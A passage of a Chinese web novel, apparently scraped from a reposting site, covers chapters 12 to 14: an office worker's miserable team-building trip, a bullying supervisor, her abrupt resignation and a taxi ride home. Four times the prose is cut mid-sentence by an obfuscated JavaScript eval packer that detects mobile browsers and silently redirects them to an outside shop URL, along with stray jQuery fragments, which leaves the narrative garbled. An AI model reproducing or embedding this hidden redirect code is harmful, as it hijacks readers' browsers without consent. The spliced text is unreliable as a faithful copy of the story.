柯总听到钟励这么说,连连点头,他将茶水一饮而尽,喝到茶叶了还呸了好几下,钟励悄咪咪往后退几步。
钟励在心里默默复盘,果然如此。她就知道不是在真的关心她的身体。
“既然如此,那这周的团建你就一起参加吧。”
什么?钟励的笑容僵在了脸上,她干笑两声,问道:
“团建?”
“是啊,团建,这周末。本来还以为你的脚伤不能去了,既然你都好了,活泼乱跳的,那就一起吧。增进彼此之间的感情。”
钟励恨不得给自己甩一巴掌,谁让你说自己脚好了的?
这下好了,周末的休息时间没了,还要去上班。
团建当然也算上班,有老板有同事的多人场合,可不就是在上班吗?
不过要是再给她一次机会,她大概依旧会说脚伤好了。
谁敢赌老板的良心呢?
不过事情还没有太糟糕,还好她有莫意初的陪伴。职场搭子就是坚持上班的一个动力啊。
“抱歉啊,这次的团建我去不了了。”
听到莫意初的话,钟励整个人要昏过去了。
她本来是来问莫意初,喜欢吃什么零食,她到时候买过去路上吃。
但得知一个惊天大雷,莫意初不去这次的团建了。
职场上没有搭子,就跟吃方便面没有调料包,上厕所不带手机一样。
钟励整个人精神气都没了,她塌着肩膀,侧脸看嘴巴嘟得都能挂酱油瓶了。
“抱歉啊,周末有点事情,不能跟你一起去了。”
“没有没有,我只是觉得没有你我会有点孤单而已,其实也没什么大不了的。你有事情忙的话就去忙吧。”
钟励连忙转过身来跟莫意初解释道。
明明她也不是小孩子了,这团建也不是春游,没朋友陪着还能怎么样?又不会被吃了。
莫意初最近的精神状态也不太好呢,有的时候脸上的憔悴气色连化妆都遮盖不住。
“我没事,你注意多休息吧,脸色特别差。少熬夜啊,新闻又听说有人猝死呢。”
钟励教训别人说得理直气壮,实则自己熬夜熬得都分不清东南西北了。
她点开在厕所摸鱼时搜集到的零食推荐,都给点了取消收藏。
没有搭子,吃什么都不香了,洗洗睡吧。
---
钟励提前一晚上收拾好了东西。
耳机、充电宝、手机都充满电了。
她不光带蓝牙耳机,连平常只在家用的有线耳机都给带上了。怕到时候蓝牙耳机坏了,现在的人没耳机就跟没穿鞋一样,能走路就是不太方便。
充电宝也得充满电,她知道外面租充电宝的套路,你借了之后,工作人员立刻就塞了新的充电宝进去,你找不到地方超时了就只能自己买下来,99元对她来说可是一笔巨款。
钟励将包里的物品又数了一遍,确定没有遗漏的东西,这才不甘不愿地出门。
她还以为是大巴车过来接他们去,没想到要统一去公司,再坐车。
钟励穿着轻便舒适的休闲装加运动鞋,背着一个斜挎的布包。头发随便在脑后扎了起来,洗了把脸就走了。
他们团建的地方在郊外,不远,具体的项目是户外运动飞盘,中午吃烧烤,晚上去酒店吃饭,吃完饭去爬山看日出。
钟励带着口罩,撇嘴也没人看见。周末真就没了,熬夜爬山指定完蛋,就她这身体素质。
她一上车找了个靠后排的位置,带上口罩耳机就打算睡觉。
“钟励,怎么一个人在角落里呆着啊?过来跟我们一起坐啊。”
有同事热情招呼她过去,她楞了一下,打算收拾东西过去。
世界上已经有了标准的人类模板,所有人都只能往这个方向去靠拢,不合适的地方也要逼自己塞进去,成为差不多的模型。
虽然她很想自己安安静静呆着,出神看着窗外发呆,但很显然她不太有这个空间。
主管方付也开口了:
“是啊,钟励。总是一个人闷着干什么?一起出来唱唱歌,跟大家热闹热闹不好吗?”
“没有没有,我现在就过去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222644|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钟励摘下口罩,一边笑一边收拾东西打算过去。
只听下一秒一个声音略带尖锐的女同事说道:
“哎哟,老催人家干嘛呀,她说不定还嫌我们烦呢,可别扰了人家的清净。”
说话的这人就是前段时间刚刚结婚的小李,可能是对于钟励不但没去她婚礼,还没给份子钱的事情耿耿于怀吧。
居然真有人敢打破表面上的和谐。
钟励也不尴尬,她径直走过去,轻轻地小李的背上拍了一下,笑道:
“李姐还在为我没去你婚礼的事情上,生我的气呢?”
她手搭在李姐的肩膀上,声音矫揉造作朝其他人说道:
“瞧瞧,李姐就为这事还跟我生气呢。”
钟励低头去看李姐,朝她道歉:
“李姐,你结婚的时候我是真有事,忙呢。这才没去。”
她拍拍胸脯,担保道:
“我发誓,等你下次结婚,我一定去,还给你包一个大红包。在场的诸位都可以做个见证。”
众人听完哈哈大笑起来,李姐脸涨得通红,她指着钟励半天说不出一句话。
钟励依旧保持礼貌,“李姐,我开玩笑呢,祝您跟咱姐夫长长久久的。”
她说完后,找了一个靠近他们的位置,就坐了下来。
上面的话已经耗费了她全部的精力,她像个电量告急的机器人一样,急需充电。
一车人也暂时安静了下来。
钟励往后一躺,闭上眼睛开始休息。
她昨天晚上都没怎么睡。一旦第二天有事情要做,她几乎都会失眠,这已经成了定律。
睡得迷迷糊糊的时候,忽然闻到了一股呛鼻的烟味。
喉咙的痒意袭来,钟励控制不住咳嗽出声,她咳了好半天,感觉喉咙里没有了异物感,咳嗽才缓缓停下。
其他人要么被她的咳嗽声吵醒,要么被方付的烟味呛醒。
方付烟抽了一半,橙色的火星正慢慢蚕食着他手头上的烟,他每吸一口,就吐出白色的烟雾。
他在抽烟的那团人里都算得上很没有道德,他明明坐在靠窗的位置,却没有打开窗户再抽烟,而是将车里的其他人都当作了过滤器。
钟励忍不住开了窗,清新的空气袭来,她本想大口呼吸新鲜的空气,但没想到吸进去的还是烟味。
“咳咳咳,咳咳咳。”
要不是不能将头伸出窗外,钟励还真想这么干。
“主管,能不能下车了再抽烟啊,我们不太能闻得了烟味。”
钟励说完这番话后,车里陷入了死一般的寂静。
没有人附和钟励的话,支持她,哪怕他们都不想要抽二手烟,哪怕钟励已经当了这个出头鸟。
方付轻抬眼皮看了钟励一眼,没说话,接着抽烟。
抽完最后一口,他将烟头轻轻往外面一丢,不屑地看着钟励,说道:
“不喜欢你可以去跟老板一辆车啊,要么就滚蛋。”
老板是单独一辆私家车,不跟他们一起挤大巴车。纪善因得老板的喜欢,可以跟老板一辆车。
方付说完还上下打量了钟励,嗤笑一声转了回去。
整个过程车里鸦雀无声,钟励也低着头沉默不语。
只能不时听见司机按下的喇叭声,还有车外其他车的喇叭声和因加塞骂人的声音。
12. 第 12 章
下车后,钟励默默跟在人群当中。
按照计划他们要玩飞盘,钟励找了个借口,说她脚踝只是能走路,不太能跑。
鉴于刚刚她跟主管方付闹了不愉快,这下也没人会叫她,有种隐形的孤立。
钟励倒是自得其乐,她找了个阴凉处开始玩手机。
看着远处的欢声笑语,她像是回到了高中的体育课。她也是喜欢一个人呆着,假装学习拿着一本英语单词本,随便找了个地方就坐下来。
要是遇到老师来了,她就装作看书。实则在听音乐。
小小的一个MP3,藏在口袋里也没人会发现。就是找歌的时候容易恼火,播放是按照顺序的,要是没播放到自己喜欢的歌,只能一次次按下一首。
当然现在的她可以随便切歌玩手机,没有人会管了。
刷手机也很无聊,她为什么不能在家躺着刷,还要跑来外面。
钟励突然感觉皮肤有点痒,她挠了两下发现越挠越痒。低头一看手背上裸露的肌肤已经被咬了两个蚊子包。
“啧。”
她翻包拿出花露水猛喷,蚊子什么时候才能灭绝啊?
“要喝吗?”
光亮被来人挡得严严实实,钟励抬起眼皮,发现是纪善。
他逆着光,一身休闲装,显露出宽肩窄腰的好身材。
钟励接过可乐,“谢谢。”
她先是看了眼可乐罐的表面有没有灰尘,虽然肉眼看不出来。
“有吸管吗?”,又听她问道。
纪善已经喝了几口,他摇摇头。
钟励抽出一张纸,仔细将可乐罐擦了一遍,尤其是对口喝的地方。不知道运输过程中或者是存放的过程中会粘上什么垃圾。
“啪”的一声,她撕开易拉罐,大口大口喝起来。
“怎么不去跟他们一起玩?”
可乐罐外皮冰冰凉凉的,钟励将脸贴近感受凉爽。
她听到纪善的问题,内心翻了一个白眼,她到底还要听这种问题听到什么时候?
还以为结束了学生时代,就能避免这种无意义的问题了。
难道说要等到她七八十岁的时候,仗着年纪大的威严,没人跟她轻易造次了,才能不再听到这类问题吗?
钟励呼出一口气,回答道:
“不想玩就不去咯。”
“你好像心情不太好。”
真烦人,人能不能有一点边界感,她心情不好怎么了?现在的时代心情好才是少数吧。
纪善总能卡好一个度,让人处于生气的边界点,但又不至于跨过这条线。
“没事,我只是觉得你的情绪波动有点强烈。”
“强烈的恶怨可以会吞噬自身,失去清醒的意识。你要学会控制一下了。”
纪善每次都是这样,把钟励搞得炸毛了,然后他就拍拍屁股走人。
什么叫她要控制情绪了?她是一个成年人,这话不就是在说她缺少最基本的情绪管理能力吗?
---
夜幕降临,天空出现点点星光。
晚上了,到了该吃饭的时间。
他们定了一个饭店包间,也没有很大,一桌就能坐得下全公司人。
钟励寻了一个角落的位置,她只想安安静静吃饭。
过会儿还要陪这些人去爬山呢,简直是闲得慌。
还看日出,知不知道明天看完日出就是周日中午了,她可怜的周末啊。
要不她干脆说不舒服吃完饭就走人好了,她都多久没有剧烈运动过了,虽然那山不高,但好歹也是山。
正当钟励心里杂七杂八地想着,忽然感觉身上聚集了很多人的视线。
她停下吃饭的筷子,嘴巴里还有咀嚼的食物没吞下去。
她快速嚼两下就咽了下去,噎得慌,她纳闷道:
“怎么了大家?这么看着我。”
难道是错过什么关键事件了她没有听到?
不会吃个饭还要开会吧,不知道的还以为世界五百强呢,这么大阵仗。
“怎么了?”
钟励尴尬笑笑,她厌恶极了这种大家都心知肚明,但却将她隔绝在外的隔岸观火感。
跟学生时代被班里调皮到让人厌恶的男生,在她背后贴了一张纸一样如芒在背。
除了她以外所有人都看到了,但没人说。
这次没人会帮她把背上贴的纸撕下来了,得她自己来。
钟励不慌不忙用纸巾擦干净嘴,嘴角微微上扬,“怎么了?大家刚刚在聊什么吗?怎么突然安静了?”
坐在主位的柯总哈哈一声,说道:
“没有没有,就是聊到要不要喝酒。”
他嘴巴里还有没咽下去的食物,一边嚼一边说话,钟励都看到坐他附近的其他同事悄悄捂着碗了。
“对了,纪善。你帮我去车里拿几瓶酒过来吧。这里的酒喝着很一般。”
柯总对纪善下达指令。
纪善接过柯总手里的钥匙,虽然是处于下位,但他并不弯着腰,没有给人卑躬屈膝的感觉。
“柯总,我看这里的酒也挺好的,不过当然是比不上您的了。”
方付撬开酒瓶,拿出两个空杯,分别斟满。
虽然方付全程没有落到一个眼神在她身上,但她却不由自主惊起一身鸡皮疙瘩。
可能是空调冷气太足了吧。
“钟励。”
钟励打算接着吃饭的时候,听到方付喊了一声她的名字。
她下意识抬起头,只见方付的脸微微低垂,眼睛斜向上看人,眼白过多,显得凌厉不像好人。
方付的手伸直,将其中一杯酒递给她,咧开嘴,笑容格外瘆人。
“额……我不喝酒的。”
钟励直接开口拒绝。
方付却“唰”一下站了起来,递给她第二次。
还得钟励也只能第一时间跟着一起站起来,她微笑拒绝:
“抱歉,主管。我不喝酒的。”
方付还没开口说话,一旁的李姐替钟励拿下方付端着的酒,放在了钟励的面前。
“哎哟,钟励啊,人主管就这么抬着手呢,你就眼睁睁看着吗?”
钟励抿了抿嘴,将酒杯推到李姐面前。
“既然是李姐接下来的,那就李姐陪主管喝吧。”
李姐摇摇头,嘴角轻蔑,她斜着眼,语气调侃:
“不敢不敢,这可是主管请你喝的。我都结婚了,肯定比不上你年轻小姑娘。主管的好意你就收了吧。”
她这话一出,众人也纷纷接茬。
“哦?李姐这是有内部消息?”
“难道我们又要出份子钱了?”
钟励咬着后槽牙,解释道:
“没有的事情,大家不要乱猜测了。”
她不想给自己安上一个有男朋友的名头,她没有就是没有,也不想用这个理由拒绝任何事情。
“别这么说嘛,给主管一个机会,是吧。”
李姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228721|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看热闹不嫌事大,说着又要起哄。
钟励平生最讨厌这类人了,眼里只有别人的笑话,生怕事情闹不大。
他们知道他人的为人吗?就敢随便乱起哄。
“好了好了,钟励都要掉小珍珠了。”
最后还是方付出面制止了这场闹剧,当然钟励也没有忘记,本来就是他挑起的事端。
还掉小珍珠,后宫文看多了吧。
方付起身,椅子跟地面发出“刺啦”的声响,他缓缓走到钟励的面前,耳朵上还别着一根烟,街溜子气质拉满。
“不给我面子?”
方付走到钟励面前,一只手撑着桌子,另一只手端起酒杯,问钟励道。
钟励深吸一口气,还是保持了基本的礼貌。
“主管,我酒精过敏,不能喝。”
虽然这个理由很蹩脚。
方付果然不信,他“啧”了一声,皱起眉头,继续把酒杯往钟励面前推。
“你们年轻女孩子就喜欢拿这个当理由,全世界酒精过敏的人能有多少,全被我给遇上了呗。”
看来这种事情也不是第一次了。
钟励咬唇十分为难,她余光轻扫一眼坐在主位的柯总。
他人安坐如山,恍然不觉,跟个瞎子一样。
真想把桌子掀了,吃个屁。
“我不喝。”她再次重申一遍。
钟励面无表情,连礼貌的笑容都没有了。
她不喝能怎么样?端起酒杯往她嘴里灌?
气氛剑拔弩张,钟励的右脚往外移动了一些,做好随时逃跑的准备,谁知道方付这神经病会不会突然暴起打人。
还好今天穿的是运动鞋,要是穿的高跟鞋……
她就脱下鞋,拿鞋子的脚跟击打他的头。
“呵。不喝就不喝吧,我不喜欢勉强别人。”
紧张的氛围随着方付放下酒杯的动作而消散了一些。
钟励心里松了口气,只是方付却好像鞋子黏上了胶水一样,杵在她旁边不走了。
方付站着她也不可能当作没事人坐下接着吃饭,于是就只能这么直愣愣站着。在他人的注目礼下,钟励感觉自己像动物园里的猴子,任人观赏。
她讨厌别人一直看着她,无论是好的视线还是不好的视线。
方付拿下耳朵上方夹着的烟,又从桌子拿起饭店提供的劣质打火机。
“啪”的一声,火苗从他手上冒出,他嘴里叼着一只烟,低头接触火苗,点燃烟。
钟励早已经在他拿打火机的时候就预料到了。
只不过干嘛不回他座位上吸烟?最好戴上口罩,呼出了烟自己循环利用别浪费。
方付深吸了一口,钟励下意识屏住呼吸。
下一秒,白色的烟雾精准吐在她的脸上,浓烈的烟草味挑战着钟励的底线。
对着人的脸呼出烟雾,显而易见侮辱人的一个行为。
人都欺负到你头上了,钟励自然不能再退让。
她端起面前的一盆奶白的科技鱼汤,上面还浮着些许翠绿的葱花。
直接就把鱼汤从方付的头上倒下去,同时也让他手上的烟头熄灭了。
接着,钟励又从包里掏出便利贴跟一支笔,“唰唰唰”在上面写了三个字“辞职信”。
落款加上名字跟日期后,“啪”一声贴在了方付的肩上。
整个包间陷入了诡异的沉默,只听到钟励干脆利落又决绝的一句话。
“老娘不干了。”
13. 第 13 章
世界这么大,区区一个破小公司,辞职就辞职了。
难道全球都没有她的容身之所吗?
钟励越想越气,一肚子火,气得头疼。
她找了个便利店坐下来,揉揉太阳穴,缓解情绪。
还好她今天带了笔记本,笔记本似乎已经成为了她的护身符,只要不爽就是干。
谁敢惹她,通通写上去。
她从包里抽出笔记本,翻到写着方付名字的那一页,将他的身份证号码补齐了。
她停笔的那一刻,原本缓解不少的头疼,又开始隐隐作痛。
手机的字都看不清了,屏幕出现了水波纹,眼球也发疼。
这是郊外,离她住的地方又远。打车预计要上百块了,再加上是晚上的缘故。
钟励打起精神又搜了一下附近的公交站台,离她五百米有一个,最后一班车在九点半。
现在已经九点十分了,钟励视线移到手机屏幕左上方的时间时,也被吓了一跳。
没多少时间了,赶不及的话打车不但贵,还不一定有司机接单。
头晕乎乎的,刚跨出门槛半步,钟励就发现自己的脑袋顶到了一个软呼呼的地方,还有热气。
“你怎么样?”
来人一把抓住她的手腕,像是怕她逃跑。
钟励退后半步,眼睛顿顿地疼,她半阖着眼,发现来人是纪善。
“是你啊,你们饭局结束了?”
刚刚的场景纪善不在场,她也不会迁怒他。就算他在场,明哲保身也正常。
“你是不是不太舒服?我听说你大闹了一场,辞职了?”
听到纪善的描述,钟励心里很不舒服,她皱着眉头,抽出自己的手,反问道:
“什么叫我大闹一场?你知道发生了什么吗?”
说完这话后,钟励只觉得身体疲惫,嘴巴也张不开说话。
她在解释什么?跟纪善有什么关系?解释毫无意义,没有真正的感同身受。
钟励不欲于纪善多交谈,但纪善仗着人高马大,像一堵墙挡在面前。
“你看起来不太好。”
听得出来他语气里的关切。
奇怪的是纪善的目光,他的眼神并没有定点在钟励身上的某一处,比如她发疼的脑袋,出汗的额头,惨白的嘴唇。而是格外关注她的整体,外缘部分。
“我说过的,你需要控制自己的情绪,不要让自己成为情绪的奴隶。”
纪善的嘴巴叨叨叨的,哪怕是帅哥,魅力也大打折扣了。
她直接伸出手捂住纪善的嘴巴,正在说的话被打断,纪善眼珠子瞪得溜圆。
他似乎张开还想说,钟励的手用力封闭他的嘴唇。
钟励另一只手竖起一根食指,放在嘴巴前,轻轻“嘘”了一声。
“男人,沉默才是最大的魅力。少说话。”
为什么要让她控制情绪,为什么不让那些肥头大耳的领导层控制一下自己的情绪?
她还以为纪善是个好人呢,不过想想也是,能入柯总的眼,想必差不多跟方付一样是一个马屁精吧。
没错她就是会这样恶意揣测别人,她猜的大部分都没有错。
“可是你……”
纪善还是喋喋不休的。
钟励本来就难受,加上一只苍蝇在耳边嗡嗡地叫,真想一拖鞋拍过去。
两人拉扯的间隙,柯总一行人大摇大摆出来了。
钟励一看那还得了,顾不上头晕眼花了,又钻回了便利店里。
期间因为没看路差点撞到玻璃门上,还好纪善伸出手在她头顶垫了一下。
就这一下,钟励宣布她今天原谅纪善的出言不逊,没错她就是很好哄。
“你躲什么?”
纪善站在一旁,看钟励跟做贼一样躲躲藏藏的。
她刚刚才放下狠话要辞职,这下见面了多尴尬。
而且她没车回不去,要是那该死的方付嘲笑她,她面子往哪里放?
“你也给我下来。”
钟励瞧纪善跟个傻大个一样杵在,这么显眼的一个目标。
她直接伸手抓住他的领口,让他一起蹲了下来。
便利店的玻璃窗户下半贴着海报,加上晚上灯光昏暗,可以完全遮挡住两个人的身形。
纪善真就乖乖地顺从她的动作,眼睛一眨不眨地看着她。
超近距离让钟励发现纪善真就天生丽质,皮肤清透,眼下没有黑眼圈。
她远远看的时候觉得他脸上没有瑕疵,还以为是他出门前在家里化了三个小时的素颜妆呢。
方付可能是喝得多了,走路晃晃悠悠的。
饭店上有一段不高的台阶,是个正常人都能顺利走下来。
方付可能是喝醉了没注意到,一个抬脚直接从小台阶上滚了下来。
摔倒后也不知道是哪里疼,抱着手也抱着脚,声音跟公鸭嗓一样难以入耳,还喊个不停。
“哈哈哈。”
钟励今天第一次也是唯一一次发自内心的笑容。
她用手肘戳了一下纪善的手臂,眼神示意:
“你瞧,恶有恶报。”
虽然这恶报是她自己达成的,但自己亲自动手就是爽。
“你很开心吗?”
纪善表情十分严肃,眼神锐利,紧紧盯着钟励的笑容。
钟励也冷下脸来,拉开两人的距离,她双手抱胸,点点头:
“是的,我看他倒霉,我很开心。”
她可不是什么以德报怨的人。
她也从来不吝啬表达自己的阴暗面,她就是见不得欺负她的人过得好。
“可是这样对你自己也不好,比如现在你身上的恶怨就很重。”
钟励推开纪善,缓慢站起来,眼前一阵发黑,加上嗡嗡嗡的尖锐耳鸣,仿佛下一秒就要一命呜呼了。
她扶着墙壁,等待不适感的消失。
她不知道纪善嘴里的恶怨是什么东西?她只知道自己要是再忍气吞声憋着,她就得进医院了。
纪善也站了起来,不过显然他身体素质好很多,不用扶稳直接能抬脚就走。
“等等,你去哪里?”
钟励拉住纪善的衣角。当然她不是为了解释挽回自己的纪善心中的形象,她只是害怕他去救方付那个垃圾。
“我去救人。”
四个字一出,钟励就知道自己的预料没错。
她的动作从拉衣角到拉纪善的手臂,扯着他不让走。
“不行,不就是流点血吗?有什么大不了的,我每个月都会流啊。让他再吃点苦头。”
势必要将伤害最大化,反正方付又死不了。
“你放开我,这样拉扯多难看,有人都看到了。”
便利店的员工在收银台,偶尔往他们这里看一眼,又收回眼神。
听到纪善的话后,她无神地抬起眼皮,眼睛只睁开了一半,她慢慢说道;
“随便你们干什么,只要别搞些少儿不宜的行为,就算你们把这店烧了,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240221|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都无所谓。”
然后店员像个幽灵一般,推着一箱商品去整理货架了。
“钟励,我觉得你这种行为是不对的,你终究会因为自己的满身恶怨付出代价。”
“好自为之吧。”
纪善抛下这两句话后,加入了救援方付的队伍当中。
钟励浑身失力,身子靠在墙壁上,她右手捂着心脏,一阵阵酸疼。
“唉。”
“下次还是别熬夜了,真怕猝死。”
她来团建前睡不着,熬了一晚上看小说。
团建的时候又不能睡觉,为了提神又喝了很多提神的饮料。
钟励就站在远处,一动不动密切关注着她的前同事。
方付不知道摔到哪里了,众人都不敢轻易搀扶他,怕造成二次伤害。
钟励咬着牙一顿捶墙,他们要是缺乏常识就好了,对着方付的脑袋一顿摇晃,脑浆都给他摇匀。
“您好,让一下。”
店员带着拖把过来了,拖到钟励脚下的时候,出声让她移动一下。
外面吵闹声连天,店里却安静依旧,尤其是作为核心的店员,稳如泰山。
“那个,你注意到外面发生的事情了吗?”
店员头也不抬,弯着腰安静拖地,声音轻飘飘的。
“看到了,一个傻蛋从楼梯上摔下来了。那跟我有什么关系?我又不会因为这件事情不用上夜班。”
刚刚离得远,没注意到店员的脸色。
钟励近视又不爱带眼镜,远远看着店员的时候还以为她是好兴致化了一个烟熏妆。但现在凑近了一瞧,原来是黑眼圈。
这便利店也太压榨人了,好好的人上夜班成了一个熊猫。
那这算不算烟熏妆半永久?
不对,钟励摇摇头。如果夜班是永久要上的,那就是永久烟熏妆。
没过多久,救护车来了。
方付的嗓子也嚎哑了,叫都叫不出来了。
钟励目测,他应该是摔破了头,手跟脚至少有一个地方骨折了。
浩浩荡荡的,他被医护人员抬上了救护车,其余人也坐上大巴车一起离开了。
看到车逐渐开远后,钟励才从便利店里走出来。
“女士?女士?你看看这个包是您同事的吗?”
饭店的工作人员手上提着一个包,钟励一眼就认出来是李姐的。
前段时间她天天来炫耀这个名牌包。
“额,这个不是我同事的包。”
这个包是李姐的没错,但钟励已经跟她不是同事了,所以钟励说这不是她同事的包,倒也没错。
“哎呀。”
钟励如梦初醒,她潜意识里总感觉自己忘了什么事情。原来是公交车。
她打开手机,发现已经九点半了。
吓得她拔腿就跑,一边跑一边在心里祈祷公交车能迟到。
反正她每次等车的时候都不太准时,那这次晚点应该也是大概率吧。
钟励跑得气喘吁吁,吸进了一大堆废气泥土。
她瞧见前方的公交车了,还差一百五十米就能赶上。
她停下来深吸一口气,打算大喊一声让司机停下。
但突然喉咙干痒,咳嗽袭来,她好一会儿都没能说出话来。
“等等,等等。”
司机一踩油门扬长而去,只留下车尾气加剧她的咳嗽。
钟励一边摸着喉咙,一边发出嘶哑的不甘嚎叫。
“等等我啊。”
14. 第 14 章
公交车末班次已经开走了,钟励坐在站台的椅子上,盯着手机页面的“等待接单”。
这附近本来就比较少人来,司机接单显然不划算。
“轰隆隆”的摩托声由远及近传来,钟励转头扫了一眼,随即站到公交站牌的后面,掩藏住自己的身影。
幸好她跑得快,否则不仅要听尖锐的摩托喇叭声,还得跟摩托车司机掰扯。
等车开走后,钟励不想坐着了,便走动走动。
不时还突然猛地转过头,怕有人在背后袭击她。这都得益于平常拿社会新闻下饭。
公交站牌上是一个新生代女明星,笑容甜美大方,亲和力很强。
右下角是她的名字,琼芎。
看来她现在发展得很不错,连这个小破地方都有了她的广告。
“你过得还好吗?”
钟励不由自主摸了摸广告牌上她的名字,一伸手就后悔了。
“啧。一手的灰。”
她随便将手在裤子上拍了拍,没水也洗不了手。
要是回不去的话,她干脆在便利店住一宿得了。反正店员也说了,她把店烧了都行。
突然手中的手机振动了一下,显示已有司机接单。
“迈巴赫?”
接单的司机开着一辆名贵的车,离她只有不到五百米。
“有钱人还有开出租车的爱好?”
也可能是顺风单,油费贵嘛,能接人省一点是一点,也可以理解。
没有两分钟,车就到了。
钟励确认再三,车牌对了,车型对了,又到后面拍了车牌照,这才敢上车。
她拉开车门,没有想象中的皮革汽油味,而是一股淡淡的果香,清新的柑橘味。
不是香水,车上真的有一大袋柑橘,占据了整整一个座位。
柑橘也是乘客之一吗?
钟励带着疑问缓缓落座,她没有发问,反正她的屁股又没有大到要坐三个座位的程度。
“您好,我的手机尾号是……”
她报完手机号后就转头看窗外了。
“乘客已上车。”
随着系统的宣告,车辆缓缓启动。
司机是一个年轻的女性,没有跟钟励搭话,她就喜欢这种毫不相干的交易,彼此干自己的事情就好,减少无意义的交谈。
“您好。”
刚好遇上路口的红灯,司机转过头来搭话。
【OMG,话说早了。】钟励在心里说道。
说好的年轻人都有边界感呢。
“怎么了?”
钟励微笑应对,暂停蓝牙放着的歌曲。
“乘客,这次的交易有优惠活动,您要参与吗?”
司机眉眼弯弯,侧脸恬静,钟励总感觉有些熟悉,但细看后发现是错觉。可能是气质跟她认识的人有点相似吧。
司机取下挂着的其中一个挂件,对钟励示意。
“如果你关注了琼芎,可以给您打折哦。”
钟励这才注意到,前排驾驶座的位置,挂了几个琼芎的小挂件,光线太暗她之前没注意。
钟励不疑有他,都开迈巴赫了,想必也不缺钱,开车就是一个爱好。
这下她可以理解了,原来是为了给喜欢的明星拉票。
“好啊好啊。”
钟励兴高采烈点开大眼软件,她确实没关注琼芎。这不要紧,现在关注就行了。
“你看。”
她像个孩子展示自己的宝物一样,眼睛亮晶晶的。
司机看后轻轻摇头。
“客人,你显示关注第一天,刚刚才关注的吧。”
“额。”
钟励不好意思摸了摸脖子。
“也没说要关注多久才行吧,你刚刚说关注了就可以啊。”
她就知道没有这么简单,解释权归商家所有是吧。
“不行。看来客人您没有办法参加这次的活动了。”
红灯转绿,司机转过头回去开车,说话的声调慵懒。
能省钱的机会就在眼前,要是钟励错过了,比杀了她还难以接受。
“啊,能不能通融通融啊。我还是很想参加活动的。”
“还有,你看看。”
钟励指着手机弹出的一条系统消息,【您已经看她很多次啦,关注一下吧。】
“系统都说我看了她很多次,我很关注她的。“
钟励挪动屁股,整个人扑到前座。或许是同为女性又是同龄人,她说话姿态较为亲近。
不知道为什么,她觉得可能是磁场合吧,她对这个司机挺有眼缘的,虽然没有完全看清她的长相,但就是觉得两个人合得来。
“难道这还不能证明吗?”
省钱的机会难道就要溜走了吗?
司机轻笑了一声,白皙的双手转动方向盘,在街上路灯的照射下,能清晰看见手上明显的青筋。
“好吧,那你说一下琼芎的爱好什么的,我觉得满意了,就允许你参加这次活动。”
钟励心想那还不简单,她即将要开口的时候,司机的语气突然变得严肃。
“不过,现在先坐回位置上,系好安全带。”
“哦哦,好。”
钟励照做,“咔哒”一声,她方才如梦初醒,她怎么这么听话?应该是金钱的魅力吧。
“咳咳。”
她清了清嗓子,说道:
“我现在可以说了吗?”
“说吧。”
“琼芎呢,不喜欢吃香菜、不能熬夜,熬久了会头疼。”
钟励竖着手指,如数家珍。
“你很了解她吗?”
司机的情绪不似刚刚那般高兴了,从钟励的方向,能看到她紧抿的嘴唇。
“我经常看她的采访啊,所以知道。”
钟励不知道司机情绪转变的原因在哪里?她转动眼珠子,谨慎回答。
难道是她说的还不够多吗?
还是说她吃醋了?觉得自己是大粉,所有人对琼芎的喜欢都不能超过她?
“其实我对她的喜欢一般般,可能就是比路人多一点点那种。”
司机蓦地转过头来,逆着光,钟励看不清她的表情,但有感觉到凌厉的视线看着自己。
“路人?”
这也不行?不是路人?真难猜啊。
钟励说话磕磕绊绊的,她额额额了半天,像只鹅,也没说出个所以然来。
司机伸手揉了揉太阳穴,轻轻叹了一口气。
“没事,你的回答符合活动标准。此次的车费可以打五折。”
“那我怎么减免啊?”
钟励老实孩子一个,眼巴巴凑上前,睁着眼睛问道。
“一会儿我扫你,给你返现,可以吗?”
得到了令她满意的回答,钟励安心往后躺。
今天她累了一天了,昨晚上也没好好睡觉。
才闭上眼睛打算闭目养神,结果直接沉入梦乡。
期间,鬓角的碎发随重力散落,正好挂在脸颊上,痒痒的不太舒服。
下一刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 